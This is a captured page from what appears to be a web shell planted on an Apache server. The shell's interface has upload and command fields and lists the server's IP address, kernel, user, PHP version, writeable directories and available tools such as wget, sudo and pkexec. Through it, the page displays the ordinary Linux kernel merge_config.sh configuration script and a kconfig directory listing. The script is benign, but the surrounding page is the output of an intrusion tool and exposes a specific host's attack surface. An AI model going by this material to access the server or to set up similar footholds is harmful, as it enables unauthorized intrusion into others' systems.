p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/modules/3.10.0-1160.105.1.el7.x86_64/source/scripts/kconfig/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib/modules/3.10.0-1160.105.1.el7.x86_64/source/scripts/kconfig/merge_config.sh
#!/bin/sh
#  merge_config.sh - Takes a list of config fragment values, and merges
#  them one by one. Provides warnings on overridden values, and specified
#  values that did not make it to the resulting .config file (due to missed
#  dependencies or config symbol removal).
#
#  Portions reused from kconf_check and generate_cfg:
#  http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/kconf_check
#  http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/generate_cfg
#
#  Copyright (c) 2009-2010 Wind River Systems, Inc.
#  Copyright 2011 Linaro
#
#  This program is free software; you can redistribute it and/or modify
#  it under the terms of the GNU General Public License version 2 as
#  published by the Free Software Foundation.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
#  See the GNU General Public License for more details.

clean_up() {
	rm -f $TMP_FILE
	exit
}
trap clean_up HUP INT TERM

usage() {
	echo "Usage: $0 [OPTIONS] [CONFIG [...]]"
	echo "  -h    display this help text"
	echo "  -m    only merge the fragments, do not execute the make command"
	echo "  -n    use allnoconfig instead of alldefconfig"
	echo "  -r    list redundant entries when merging fragments"
	echo "  -O    dir to put generated output files"
}

MAKE=true
ALLTARGET=alldefconfig
WARNREDUN=false
OUTPUT=.

while true; do
	case $1 in
	"-n")
		ALLTARGET=allnoconfig
		shift
		continue
		;;
	"-m")
		MAKE=false
		shift
		continue
		;;
	"-h")
		usage
		exit
		;;
	"-r")
		WARNREDUN=true
		shift
		continue
		;;
	"-O")
		if [ -d $2 ];then
			OUTPUT=$(echo $2 | sed 's/\/*$//')
		else
			echo "output directory $2 does not exist" 1>&2
			exit 1
		fi
		shift 2
		continue
		;;
	*)
		break
		;;
	esac
done

INITFILE=$1
shift;

MERGE_LIST=$*
SED_CONFIG_EXP="s/^\(# \)\{0,1\}\(CONFIG_[a-zA-Z0-9_]*\)[= ].*/\2/p"
TMP_FILE=$(mktemp ./.tmp.config.XXXXXXXXXX)

echo "Using $INITFILE as base"
cat $INITFILE > $TMP_FILE

# Merge files, printing warnings on overrided values
for MERGE_FILE in $MERGE_LIST ; do
	echo "Merging $MERGE_FILE"
	CFG_LIST=$(sed -n "$SED_CONFIG_EXP" $MERGE_FILE)

	for CFG in $CFG_LIST ; do
		grep -q -w $CFG $TMP_FILE
		if [ $? -eq 0 ] ; then
			PREV_VAL=$(grep -w $CFG $TMP_FILE)
			NEW_VAL=$(grep -w $CFG $MERGE_FILE)
			if [ "x$PREV_VAL" != "x$NEW_VAL" ] ; then
			echo Value of $CFG is redefined by fragment $MERGE_FILE:
			echo Previous  value: $PREV_VAL
			echo New value:       $NEW_VAL
			echo
			elif [ "$WARNREDUN" = "true" ]; then
			echo Value of $CFG is redundant by fragment $MERGE_FILE:
			fi
			sed -i "/$CFG[ =]/d" $TMP_FILE
		fi
	done
	cat $MERGE_FILE >> $TMP_FILE
done

if [ "$MAKE" = "false" ]; then
	cp $TMP_FILE $OUTPUT/.config
	echo "#"
	echo "# merged configuration written to $OUTPUT/.config (needs make)"
	echo "#"
	clean_up
	exit
fi

# If we have an output dir, setup the O= argument, otherwise leave
# it blank, since O=. will create an unnecessary ./source softlink
OUTPUT_ARG=""
if [ "$OUTPUT" != "." ] ; then
	OUTPUT_ARG="O=$OUTPUT"
fi


# Use the merged file as the starting point for:
# alldefconfig: Fills in any missing symbols with Kconfig default
# allnoconfig: Fills in any missing symbols with # CONFIG_* is not set
make KCONFIG_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET


# Check all specified config values took (might have missed-dependency issues)
for CFG in $(sed -n "$SED_CONFIG_EXP" $TMP_FILE); do

	REQUESTED_VAL=$(grep -w -e "$CFG" $TMP_FILE)
	ACTUAL_VAL=$(grep -w -e "$CFG" $OUTPUT/.config)
	if [ "x$REQUESTED_VAL" != "x$ACTUAL_VAL" ] ; then
		echo "Value requested for $CFG not in final .config"
		echo "Requested value:  $REQUESTED_VAL"
		echo "Actual value:     $ACTUAL_VAL"
		echo ""
	fi
done

clean_up
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:52
0 / 0
0755
lxdialog
--
January 19 2024 08:12:52
0 / 0
0755
Makefile
11.104 KB
November 06 2023 09:15:52
0 / 0
0644
POTFILES.in
0.353 KB
November 06 2023 09:15:52
0 / 0
0644
check.sh
0.21 KB
November 06 2023 09:15:52
0 / 0
0755
conf
95.906 KB
December 07 2023 15:51:35
0 / 0
0755
conf.c
15.527 KB
November 06 2023 09:15:52
0 / 0
0644
confdata.c
24.894 KB
November 06 2023 09:15:52
0 / 0
0644
expr.c
29.372 KB
November 06 2023 09:15:52
0 / 0
0644
expr.h
7.245 KB
November 06 2023 09:15:52
0 / 0
0644
gconf.c
38.813 KB
November 06 2023 09:15:52
0 / 0
0644
gconf.glade
25.041 KB
November 06 2023 09:15:52
0 / 0
0644
images.c
6.411 KB
November 06 2023 09:15:52
0 / 0
0644
kxgettext.c
4.098 KB
November 06 2023 09:15:52
0 / 0
0644
list.h
3.629 KB
November 06 2023 09:15:52
0 / 0
0644
lkc.h
4.856 KB
November 06 2023 09:15:52
0 / 0
0644
lkc_proto.h
2.435 KB
November 06 2023 09:15:52
0 / 0
0644
mconf.c
27.301 KB
November 06 2023 09:15:52
0 / 0
0644
menu.c
16.995 KB
November 06 2023 09:15:52
0 / 0
0644
merge_config.sh
3.754 KB
November 06 2023 09:15:52
0 / 0
0755
nconf.c
37.992 KB
November 06 2023 09:15:52
0 / 0
0644
nconf.gui.c
14.446 KB
November 06 2023 09:15:52
0 / 0
0644
nconf.h
1.871 KB
November 06 2023 09:15:52
0 / 0
0644
qconf.cc
43.369 KB
November 06 2023 09:15:52
0 / 0
0644
qconf.h
7.746 KB
November 06 2023 09:15:52
0 / 0
0644
streamline_config.pl
14.591 KB
November 06 2023 09:15:52
0 / 0
0644
symbol.c
27.878 KB
November 06 2023 09:15:52
0 / 0
0644
util.c
3.084 KB
November 06 2023 09:15:52
0 / 0
0644
zconf.gperf
1.453 KB
November 06 2023 09:15:52
0 / 0
0644
zconf.hash.c
12.359 KB
December 07 2023 15:38:47
0 / 0
0644
zconf.hash.c_shipped
12.359 KB
November 06 2023 09:15:52
0 / 0
0644
zconf.l
6.861 KB
November 06 2023 09:15:52
0 / 0
0644
zconf.lex.c
58.458 KB
December 07 2023 15:38:47
0 / 0
0644
zconf.lex.c_shipped
58.458 KB
November 06 2023 09:15:52
0 / 0
0644
zconf.tab.c
70.232 KB
December 07 2023 15:38:47
0 / 0
0644
zconf.tab.c_shipped
70.232 KB
November 06 2023 09:15:52
0 / 0
0644
zconf.y
15.735 KB
November 06 2023 09:15:52
0 / 0
0644